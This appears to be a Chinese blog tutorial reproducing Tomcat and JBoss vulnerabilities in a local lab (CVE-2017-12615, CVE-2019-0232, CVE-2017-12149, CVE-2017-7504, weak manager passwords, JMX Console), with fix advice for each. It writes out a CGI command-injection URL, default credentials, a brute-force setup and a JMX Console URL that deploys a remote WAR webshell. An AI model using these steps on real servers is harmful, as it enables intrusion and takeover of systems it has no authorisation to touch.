中间件安全基础(二)Tomcat & jBoss

目录

 

 

前言:

正文

中间件 —— Tomcat

1. Tomcat简介

 

2.Tomcat漏洞

0x01. Tomcat 任意文件写入(CVE-2017-12615)

0x02. Tomcat 远程代码执行(CVE-2019-0232)

0x03.Tomcat + 弱口令 && 后台getshell漏洞

0x04: Tomcat manager App 暴力破解

中间件 —— Jboss

1.Jboss简介

2.Windows下Jboss安装

3. Jboss漏洞

0x01:JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

                                        扩展

0X02. JBoss <=4.x JBossMQJMS 反序列化漏洞(CVE-2017-7504)

0x03. Administration Console 弱口令

0x04 JMX Console未授权访问


 

前言:

继上一篇 后的另外3个,Tomcat,Jbossl两个中间件

根据自己总结,与网络上参考,收集~~~~~

正文

中间件 —— Tomcat

1. Tomcat简介

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用 服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应 HTML ( 标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。

 

2.Tomcat漏洞

0x01. Tomcat 任意文件写入(CVE-2017-12615)

环境:Tomcat/8.0.30 漏洞本质是Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件:

增加完配置之后,记得重启Tomcat,效果如下:

当readonly=true时,效果如下。 修复建议 将readonly=true,默认为true。

修复建议 :将readonly=true,默认为true。

 

0x02. Tomcat 远程代码执行(CVE-2019-0232)

影响范围:9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93

影响系统: Windows

修改配置: web.xml

在Tomcat\webapps\ROOT\WEB-INF新建cgi目录,并创建lxhsec.bat文件,内容任意。 

 

执行命令http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&C:/WINDOWS/system32/net+user

Note:net命令的路径要写全,直接写net user,Tomcat控制台会提示net不是内部命令,也不是可运行的程序,另 必须使用+号连接,使用空格,%2B都会执 行失败,控制台报错。

修复建议 :这个默认是关闭的,如果打开了请关闭,若需使用请升级版本。

 

 

0x03.Tomcat + 弱口令 && 后台getshell漏洞

环境:Apache Tomcat/7.0.94

在conf/tomcat-users.xml文件中配置用户的权限:

正常安装的情况下,tomcat7.0.94中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

访问 http://127.0.0.1:8080/manager/html ,输入弱密码tomcat:tomcat,登陆后台。

生成war包: jar -cvf lxhspy.war lxhspy.jsp 部署后,访问 http://127.0.0.1:8080/war包名/包名内文件名, 如下

修复建议 :

1. 若无必要,取消manager/html功能。

2. 若要使用,manager页面应只允许本地IP访问

0x04: Tomcat manager App 暴力破解

环境:Apache Tomcat/7.0.94

访问:http://127.0.0.1:8080/manager/html, 输入密码,抓包,如下。

刚才输入的账号密码在HTTP字段中的Authorization中,规则为Base64Encode(user:passwd) Authorization: Basic dG9tY2F0OmFkbWlu 解码之后如下:

将数据包发送到intruder模块,并标记dG9tY2F0OmFkbWlu。

Payload type选择 Custom iterator,设置三个position,1为用户字典,2为:,3为密码字典,并增加Payload Processing 为Base64-encode如下

最后取消Palyload Encoding编码。

 修复建议

1. 若无必要,取消manager/html功能。

2. 若要使用,manager页面应只允许本地IP访问

中间件 —— Jboss

1.Jboss简介

jBoss是一个基于J2EE的开发源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支 持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

默认端口:8080,9990

2.Windows下Jboss安装

1. 下载http://jbossas.jboss.org/downloads/

2. 解压,我这里解压后的目录为:C:\jboss-6.1.0.Final

3. 新建环境变量:JBOSS_HOME 值为: C:\jboss-6.1.0.Final

在path中加入:;%JBOSS_HOME%\bin;

4. 打开C:\jboss-6.1.0.Final\bin 双击run.bat。出现info消息,即配置成功

Note:注意JDK版本要在1.6~1.7之间,1.8版本 jBoss运行打开JMX Console会出现500错误。

jboss默认部署路径:C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war

设置外网访问 

将C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml

将address="${jboss.bind.address}" 设置为address="0.0.0.0" ,并重启JBoss

3. Jboss漏洞

 

0x01:JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

访问 /invoker/readonly 返回500

说明页面存在,此页面存在反序列化漏洞。

复现内容步骤:点击这里查看

漏洞建议:

建议用户升级到JBOSS AS7。另,不能及时升级的用户,可采取如下临时解决方案:

1.  不需要 http-invoker.sar 组件的用户可直接删除此组件。

2.  添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:<url-pattern>/*</url-pattern>

用于对 http invoker 组件进行访问控制。

扩展

JBoss EJBInvokerServlet 反序列化漏洞

访问 /invoker/EJBInvokerServlet

返回如下,说明接口开放,此接口存在反序列化漏洞。

这里直接利用CVE-2017-12149生成的ser,发送到/invoker/EJBInvokerServlet接口中。

如下:

修复建议

1. 不需要 http-invoker.sar 组件的用户可直接删除此组件。路径为:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,删除后访问404

2. 或添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:

<url-pattern>/*</url-pattern>

路径为:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml

0X02. JBoss <=4.x JBossMQJMS 反序列化漏洞(CVE-2017-7504)

环境:jboss-4.2.3

设置外网访问:

在C:\jboss-4.2.3\server\default\deploy\jboss-web.deployer\server.xml

将address="${jboss.bind.address} 改为:address="0.0.0.0", 重启Jboss

<Connector port="8080" address="${jboss.bind.address}"
maxThreads="250" maxHttpHeaderSize="8192"
emptySessionPath="true" protocol="HTTP/1.1"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="20000" disableUploadTimeout="true" />

访问/jbossmq-httpil/HTTPServerILServlet,

返回   This is the JBossMQ HTTP-IL,说明页面存在,此页面存在反序列化漏洞。

这里直接利用CVE-2017-12149生成的ser,发送到/jbossmq-httpil/HTTPServerILServlet接口中。

0x03. Administration Console 弱口令

Administration Console管理页面存在弱口令,admin:admin,登陆后台上传war包。

2. Add a new resource,上传war包

3. 点击创建的war包进入下一层,若状态为stop,点击Start按钮(默认都是start状态,不需要点击Start按钮)

4. 访问。 http://xx.xx.xx.xx/[warname]/shellname.jsp

修复建议

1. 修改密码 C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

2. 或删除Administration Console页面。

JBoss版本>=6.0,admin-console页面路径为: C:\jboss-6.1.0.Final\common\deploy\admin-console.war

6.0之前的版本,路径为C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war

0x04 JMX Console未授权访问

JMXConsole默认存在未授权访问,直接点击JBoss主页中的JMXConsole链接进入JMXConsole页面。

1. 在JMXConsole页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer,如下

2. 进入service=MainDeployer页面之后,找到methodIndex为17 or 19的deploy 填写远程war包地址进行远程部署

3. 这里我部署的war包为lxh.war,链接如下:

http://192.168.31.205:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.31.205/lxh.war

4. 访问

http://xx.xx.xx.xx/[warname]/shellname.jsp

修复建议

1. 增加密码措施,防止未授权访问。

1)在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\jboss-web.xml开启安全配置。

2)在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\web.xml开启安全认证。

3)在C:\jboss-6.1.0.Final\server\default\conf\login-config.xml中可以看到JMXConsole的用户密码配置位置。

<application-policy name="jmx-console">
<authentication>
<login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule"
flag="required">
<module-option name="usersProperties">props/jmx-console-users.properties</module-option>
<module-option name="rolesProperties">props/jmx-console-roles.properties</module-option>
</login-module>
</authentication>

4)配置用户密码以及用户权限,这里新增lxhsec用户。

5)重启JBoss,效果如下:

2.  或删除JMXConsole,后重启JBoss

C:\jboss-6.1.0.Final\common\deploy\jmx-console.war

文末

欢迎大佬加我一起交流交流~~~~

来自 lyshh 前辈的一篇文章,如果需要的话可以私信给我,我会发的

发布了7 篇原创文章 · 获赞 7 · 访问量 2480

猜你喜欢

转载自blog.csdn.net/m0_46304840/article/details/104311069